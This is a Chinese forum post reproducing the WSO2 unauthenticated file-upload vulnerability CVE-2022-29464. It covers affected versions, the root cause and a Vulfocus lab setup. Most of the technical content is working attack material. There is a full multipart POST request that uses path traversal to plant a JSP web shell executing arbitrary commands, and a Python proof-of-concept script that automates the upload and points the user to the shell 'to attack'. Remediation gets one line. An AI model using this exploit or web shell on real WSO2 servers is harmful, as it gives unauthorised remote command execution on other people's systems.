CVE-2022-29464 WSO2文件上传漏洞

打印 上一主题 下一主题

主题 823|帖子 823|积分 2469

一、漏洞概述
WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
 
二、影响版本 

  • WSO2 API Manager 2.2.0 及更高版本到 4.0.0
  • WSO2 Identity Server 5.2.0 及以上至 5.11.0
  • WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0
  • WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0
  • WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0
 
 
三、漏洞原理
  WSO2的配置文件 WSO2AM_Home\repository\conf\identity\identity.xml中,修饰 /fileupload(.*) 接口的 secured 属性为 false,这就意味着路由资源访问可以不需要身份验证,从而可以通过构造恶意的post请求包达到恶意jsp文件上传的目的。详情大佬文章点这里~
 
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus
 
五、实验步骤
1.开启镜像环境,访问WSO2 https://ip:port/carbon/admin/login.jsp

2.抓包且构造漏洞利用的请求包,回应包中出现如下数字即上传文件成功(此处上传的是wavesky.jsp)
  1. 1 POST /fileupload/toolsAny  HTTP/1.1
  2. 2 Host: 192.168.117.131:16630
  3. 3 Accept: */*
  4. 4 Accept-Encoding: gzip, deflate
  5. 5 Content-Length: 905
  6. 6 Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
  7. 7 User-Agent: python-requests/2.22.0
  8. 8
  9. 9
  10. 10 --4ef9f369a86bfaadf5ec3177278d49c0
  11. 11 Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"
  12. 12
  13. 13 <FORM>
  14. 14     <INPUT name='cmd' type=text>
  15. 15     <INPUT type=submit value='Run'>
  16. 16 </FORM>
  17. 17 <%@ page import="java.io.*" %>
  18. 18     <%
  19. 19     String cmd = request.getParameter("cmd");
  20. 20     String output = "";
  21. 21     if(cmd != null) {
  22. 22         String s = null;
  23. 23         try {
  24. 24             Process p = Runtime.getRuntime().exec(cmd,null,null);
  25. 25             BufferedReader sI = new BufferedReader(new
  26. 26 InputStreamReader(p.getInputStream()));
  27. 27             while((s = sI.readLine()) != null) { output += s+"</br>"; }
  28. 28         }  catch(IOException e) {   e.printStackTrace();   }
  29. 29     }
  30. 30 %>
  31. 31         <pre><%=output %></pre>
  32. 32 --4ef9f369a86bfaadf5ec3177278d49c0--
复制代码
 
 3.接下来就可以执行linux命令查看内部配置了

 
六、修复方式
更新至安全版本——https://github.com/wso2/product-apim/releases
 
七、Poc
  1. import requests
  2. import argparse
  3. def exploit(url):
  4.     uurl = "https://"+url+"/fileupload/toolsAny"
  5.     shell = """<FORM>
  6.         <INPUT name='cmd' type=text>
  7.         <INPUT type=submit value='Run'>
  8.     </FORM>
  9.     <%@ page import="java.io.*" %>
  10.         <%
  11.         String cmd = request.getParameter("cmd");
  12.         String output = "";
  13.         if(cmd != null) {
  14.             String s = null;
  15.             try {
  16.                 Process p = Runtime.getRuntime().exec(cmd,null,null);
  17.                 BufferedReader sI = new BufferedReader(new
  18.     InputStreamReader(p.getInputStream()));
  19.                 while((s = sI.readLine()) != null) { output += s+"</br>"; }
  20.             }  catch(IOException e) {   e.printStackTrace();   }
  21.         }
  22.     %>
  23.             <pre><%=output %></pre>"""
  24.     files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp": shell}
  25.     response = requests.post(url=uurl,files=files,verify=False)
  26.     if(response.status_code == 200):
  27.         print('It looks likely vulnerable')
  28.         print('Please use this url:'+'{\33[91m'+'https://'+url+'/authenticationendpoint/wavesky.jsp'+'\33[0m}'+' to view and attack~')
  29.     else:
  30.         print('It is strong')
  31. if __name__ == '__main__':
  32.     parameter = argparse.ArgumentParser(description='Poc CVE-2022-29464:')
  33.     parameter.add_argument('--file',help='url file',required=False)
  34.     parameter.add_argument('--url',help='ip:port',required=False)
  35.     para = parameter.parse_args()
  36.     if para.url:
  37.         exploit(para.url)
  38.         exit()
  39.     else:
  40.         parameter.print_help()
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

络腮胡菲菲

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表